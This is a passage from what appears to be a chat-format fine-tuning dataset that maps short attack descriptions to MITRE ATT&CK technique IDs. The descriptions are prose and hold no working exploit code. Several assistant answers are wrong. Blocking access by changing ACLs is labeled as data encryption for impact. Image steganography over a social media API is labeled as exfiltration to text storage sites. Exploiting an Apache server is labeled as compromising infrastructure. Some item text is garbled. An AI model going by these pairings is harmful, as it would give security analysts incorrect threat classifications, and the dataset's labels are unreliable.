                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the Windows utility ntdsutil to export the Active Directory database and then parses it to obtain credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a DNS exfiltration channel by encoding exfil data in the subdomain part of queries."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software uses the victim’s public key to encrypt a reverse shell, ensuring the command stream is unreadable without the corresponding private key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged \"kubectl exec\" to add a new malicious sidecar container to an existing pod."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed msiexec /fa benign.msi /quiet /norestart to trigger execution of a malicious custom action coded in JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor escalates privileges by attaching the \"Power User\" role to a previously restricted AWS IAM user."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies its own code at runtime to bypass static analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the PasswordFilters registry key to load a malicious DLL that logs all authentication attempts."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary automates the creation of multiple low‑privilege accounts in Azure to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that issues the Windows command 'netsh wlan show networks' to enumerate nearby Wi‑Fi SSIDs and signal strengths."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A suspicious PowerShell one-liner queries the Win32_GroupPolicy object through CIM to list applied GPOs, which may be noisy."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised SSH private key, the actor connects to a target system and installs a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI's Win32_Process class, the attacker executes a base64‑encoded PowerShell script that resides only in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider creates a privileged role in Alibaba Cloud and assigns it to a service account they control."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited an unpatched Apache server vulnerability to execute arbitrary code and establish a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor includes a self-modifying code segment that changes its behavior when a debugger tries to step through it."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides exfiltrated files inside image files and exfiltrates them via a social media upload API."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves stealing Kerberos service tickets from a compromised host and replaying them to access other network services."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ptrace, the attacker attaches to a parent process, writes malicious code into its heap, and then resumes execution to run the injected payload."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a time‑based DGA that combines the current Unix timestamp with a secret seed to generate new domains every 30 minutes for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An instant messaging user received a message with a link to a fake login page; clicking the link launched a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised driver binary is installed as part of a client software package to gain kernel-level access."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker group performs a supply chain attack, inserting malicious code into a trusted application and signing it with the vendor's stolen code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver is placed in the EFI partition, ensuring execution during the firmware initialization phase."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a scheduled task to modify the screensaver registry key, ensuring a malicious payload runs automatically when the screensaver starts."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests extra Azure Managed Identity tokens from a compromised virtual machine's metadata endpoint."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters its process name to \"explorer.exe\" and runs in the background to blend in with the Windows Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool runs \"takeown.exe\" to take ownership of the Windows Registry hive files, then modifies their permissions to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors cleared the Windows event logs and then removed the persistent network share mapping created with `New-PSDrive` to eliminate evidence of the network connection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code concatenates dummy data to command arguments to obscure the real command."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By restoring a previously terminated IBM Cloud virtual server from a snapshot, the attacker re-established their control over the environment."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor hijacks an existing service by changing its binary path to point to malicious code, achieving service execution."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers dump the securityd RAM to retrieve cached keychain items during a credential theft operation."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code retrieves data from the local hard drive and caches it in a hidden directory for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email appears to come from the IT department, containing a fake password reset link that leads to a malicious site collecting user credentials."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes a memory corruption bug in the Linux kernel to obtain root."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Windows Remote Management (WinRM) to execute PowerShell commands on a remote host for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider runs a command on a Kubernetes node that accesses the node's metadata endpoint to download the attached service account's token."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoded with ASCII85, the malicious payload bypasses simple string detection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the Local Security Authority Subsystem Service to dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a new process and manipulates the process hierarchy so that the malicious binary is listed as a child of a legitimate service, breaking the expected process lineage."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a backdoor in a USB firmware, allowing them to exfiltrate data whenever the device is plugged into any computer."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators exploit network QoS settings to prioritize malicious traffic and hide it among high‑priority flows."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script queries the victim's DHCP server for lease information to discover active devices and their IP assignments."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website displays a pop‑up urging users to click a link to view a fake invoice, which downloads and executes ransomware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit scripts targeted the default 'admin'/'admin' login on network switches, allowing unauthorized configuration changes."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows API NtCreateThreadEx to inject a malicious executable image into the memory space of explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor gained access to a cloud‑based software distribution service and replaced the official installer with a malicious one that exfiltrates data from victim endpoints."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the macOS system_profiler SPApplicationsDataType to gather application details."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a PowerShell script to locate and exfiltrate Thunderbird email files from the local system."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign uses a malicious .rtf file attachment that leverages a zero‑day exploit to achieve initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into lsass.exe and uses NtReadVirtualMemory to extract password data."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the registry key for a system service to point to a malicious DLL, causing the service to load and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the SSH authorized_keys check with a reversible encryption step, allowing the attacker to decrypt and reuse the keys."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the group restored a compromised cloud instance to its original configuration to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers disabled the cloud firewall by removing all allow‑list entries and setting the default action to allow all traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user runs a script that pulls the encrypted vault from Bitwarden's local storage and attempts to decrypt it offline."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Search engine queries are used to locate public FTP servers and file shares belonging to the victim."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies system ACLs to block legitimate user access."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake command line for a PowerShell script, showing \"powershell -EncodedCommand ...\" as harmless, while the script executes malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes `rpm -qa` to enumerate installed RPM packages on a Red Hat system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 uses a compromised third‑party SaaS platform to exfiltrate data through its API endpoints."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain infiltrators replace legitimate network switch chips with compromised versions that log traffic and send it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests credentials from cloud service configuration files left on a compromised VM."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs OS credential dumping by accessing /etc/passwd and /etc/shadow on Unix systems."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates and extracts metadata from the enterprise’s SharePoint libraries containing HR records."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential extraction is performed by dumping the contents of the vault files on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute arbitrary commands by invoking mshta with a base64-encoded script on the target host."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting the VDSO, the attacker bypasses DEP and injects code that runs with the same privileges as the host process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator physically removes a USB drive containing harvested data after a night shift."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a specially crafted Excel workbook that executes a payload during the Office Application Startup routine, specifically targeting the Office Test sub-technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged the IIS reset utility to replace legitimate DLLs with Trojanized versions, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers query Azure DevOps APIs with stolen credentials to retrieve the latest builds and source files."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script queries WMI class Win32_NetworkAdapterConfiguration to pull IP address and subnet mask data from the system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise included a routine that identified all external peripherals, including webcams and microphones."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the device's firmware to embed malicious code that runs during the pre-boot environment."
            },
            {
                "role": "assistant",
